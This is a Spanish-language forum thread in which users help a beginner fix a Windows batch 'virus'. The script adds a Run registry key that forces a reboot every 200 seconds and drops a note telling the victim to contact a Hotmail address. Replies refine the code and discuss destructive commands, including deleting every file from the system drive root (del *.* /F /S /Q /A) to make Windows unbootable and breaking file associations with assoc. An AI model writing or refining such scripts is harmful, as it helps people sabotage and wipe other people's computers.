Este codigo es correcto??
@echo off
REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200
cd "C:\%homedrive%%homepath%\escritorio"
md "ENTRA AQUI"
cd "%USERPROFILE%\Escritorio\ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>> solucion.txt
cls
exit
cd "C:\%homedrive%%homepath%\escritorio"
¿? o no entiendo de esto, o no me ha quedado claro, pero no se lo que es eso.
usa el que usaste despues en vez de eso:
cd "%USERPROFILE%\Escritorio"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>>solucion.txt
la barra >> solo tiene que haber >, porque > es para crear el archivo,
pero >> es para añadir al archivo.
Sería:
Citar@echo off
REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200
cd "%USERPROFILE%\Escritorio"
md "ENTRA AQUI"
cd "ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>solucion.txt
cls
exit
P.D: en vez de crear un txt y esa movida, puedes usar el comando msg
para que le aparezca una ventana con un mensaje:
msg %username% loquequierasponerle
cd "C:\%homedrive%%homepath%\escritorio"
->esto kiere decir k cd redirecciona al escritorio d cualkier usuario en su pc.
si... bueno... :
(http://img123.imageshack.us/img123/4589/dibujojn0.jpg)
http://img123.imageshack.us/img123/4589/dibujojn0.jpg
Ya te expliqué como lo has de usar, y usa
cd "%USERPROFILE%\Escritorio"
en vez de esto que no existe:
cd "C:\%homedrive%%homepath%\escritorio"
oh, ya encontré tu fallo, vale:
cd "C:\%homedrive%%homepath%\escritorio"
quitas el C:\
y en vez de lo otro pones:
%homedrive% (va a la unidad en la q está instalada windows)
cd "%homepath%\escritorio" (va a Documents and settings/user/escritorio)
tienes que hacerlo en 2 líneas porque la primera te mueve a esa unidad,
y la segunda te mueve a esa carpeta, no te permite hacer las 2 cosas a la vez.
(hombre tambien puedes unir los comandos con &&)
%homedrive%&&%cd "homepath%\escritorio"
EL codigo final seria este?¿?¿?
@echo off
REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200
%homedrive%&&%cd "%USERPROFILE%\Escritorio\"
md "ENTRA AQUI"
cd "%USERPROFILE%\Escritorio\ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>> solucion.txt
cls
exit
mmm juraría que sí xD, compruebalo en tu pc ^_^ xD
sabes que con shutdown -a se suspende el apagado no? xAo
@echo off
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v ApagarPC /t REG_SZ /d "shutdown -r -t 200"
md "%userprofile%\Escritorio\ENTRA AQUI"
echo Ola, acabas d instalar un virus en tu pc, si quieres quitarlo facilmente agrega a usuario@hotmail.com > "%userprofile%\Escritorio\ENTRA AQUI\solucion.txt"
Hala, en 4 lineas y sin tanto lio. Saludos
No es mejor con esto? :
msg %username% y aca el mensaje?
Mejor aun:
msg * mensaje
Puede que si sea mejor, depende de lo que quiera. Tambien se puede hacer un start "%userprofile%\Escritorio\ENTRA AQUI\solucion.txt" para que salte bien a la vista xD
Saludos
Sk keria liarlo...jejeje.... i lo d -a..mmmm.... ya lo sabia...pero eso....prefiero -r -t 60 XD
y otra cosa....
k significa esto¿?¿?
Citarerase/del C:\windows\q
Borra el sistema operativo¿?? i lo d q se k es para sacar la confirmacion...
Cita de: .Undertaker. en 21 Agosto 2007, 00:00 AM
Y lo d -a..mmmm.... ya lo sabia...pero eso....prefiero -r -t 60
Son dos cosas distintas,
shutdown -a sirve para anular el proceso de apagado llamado con
shutdown [-L | -R] [-t XX]Cita de: .Undertaker. en 21 Agosto 2007, 00:00 AM
k significa esto¿?¿?
Citarerase/del C:\windows\q
Eso no sirve para nada, aparte de que esta mal escrito. El comando
del (o
erase, que al fin y al cabo sirven para lo mismo) sirve para eliminar archivos, pero esto no lo puedes aplicar a los archivos del sistema, ya que estan protegidos por Windows. Asi que nada de formateo barato.
Saludos
Citarlos archivos del sistema, ya que estan protegidos por Windows.
???
que yo sepa simplemente el hacer %homedrive%&&cd \&&del *.* /F /S /Q /A
se carga to (exceptuando los procesos que estén corriendo claro está)
y quizás tengas razón de que algunos procesos de la carpeta windows los
proteja y vuelva a restaurar inmediatamente el sistema;
pero lo que si se, es que cuando corres ese comando, y se carga el archivo
ntldr, o el boot.ini, u otro más de la raíz del disco (no recuerdo cual era),
el sistema no arrancará hasta que sea reparado.
(al arrancar pide el archivo según cual sea, y hay uno que si lo borrabas,
al arrancar se reiniciaba directamente sin dar mensaje de error alguno despues
de cargar la bios)
Lo se porque he estado haciendo muchas pruebas hace cosa de un año
con vmware y lo he visto con mis ojos.
Lo recomiendo si queréis probar vuestros bichos, y buscar sus fallos,
instalais el vmware, meteis un xp, y lo clonáis un par de veces, cuando
jodáis un xp tenéis la copia del otro asín que podéis seguir clonando y haciendo
pruebas.
En vez de usar del...mejor usar "assoc"
ejemplo:
Citar
assoc config.sys=.mmm
o
assoc *.dll=.uuu
Y para eliminar procesos usamos "taskkill"